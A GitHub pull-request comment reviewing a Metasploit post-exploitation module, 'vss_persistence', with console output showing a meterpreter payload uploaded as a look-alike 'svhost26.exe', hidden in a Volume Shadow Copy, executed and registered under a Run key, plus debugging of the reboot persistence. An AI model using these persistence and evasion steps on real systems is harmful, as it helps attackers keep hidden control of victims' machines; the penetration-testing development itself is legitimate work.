MrXors/metasploit-framework — pull request #1 by jvazquez-r7 (2013-10-14 18:03:48+00:00)
Title: Review 2503

Hi @MrXors,

This module tries to clean the code from https://github.com/rapid7/metasploit-framework/pull/2503

After modification it has been tested successfully:

```
msf post(vss_persistence) > rexploit
[*] Reloading module...

[*] Checking requirements...
[*] Starting Volume Shadow Service...
[*] Volume Shadow Copy service not running. Starting it now...
[*] Volume Shadow Copy started successfully.
[*] Uploading /tmp/meterpreter.exe....
[*] FILE ON TARGET \Windows\Temp\svhost26.exe
[*] Creating Shadow Volume Copy...
[*] ShadowCopy created successfully
[*] Deleting malware...
[*] Finding the Shadow Copy Volume...
[*] Executing \Windows\Temp\svhost26.exe...
[*] Installing as autorun in the registry...
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\upDOBbfhYlB
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\upDOBbfhYlB
[*] Cleanup Meterpreter RC File: /Users/juan/.msf4/logs/persistence/WIN-RNJ7NBRK9L7_20131014.5412/WIN-RNJ7NBRK9L7_20131014.5412.rc
[*] Post module execution completed
```

The svhost26.exe is a meterpreter which is successfully correctly at the moment, but even with REGKEY set to true, and even when the registry entry is created I am not able to get a new session when target system is rebooted. Is REGKEY working correctly on your testing :? I'm going to try with your code without any modification to test if the REGKEY option is working as expected.

On the other hand, feel free to review, check, discuss, test, etc. this code and once you feel comfortable feel free to land into your repo so the original https://github.com/rapid7/metasploit-framework/pull/2503 will be automatically updated.

Thanks!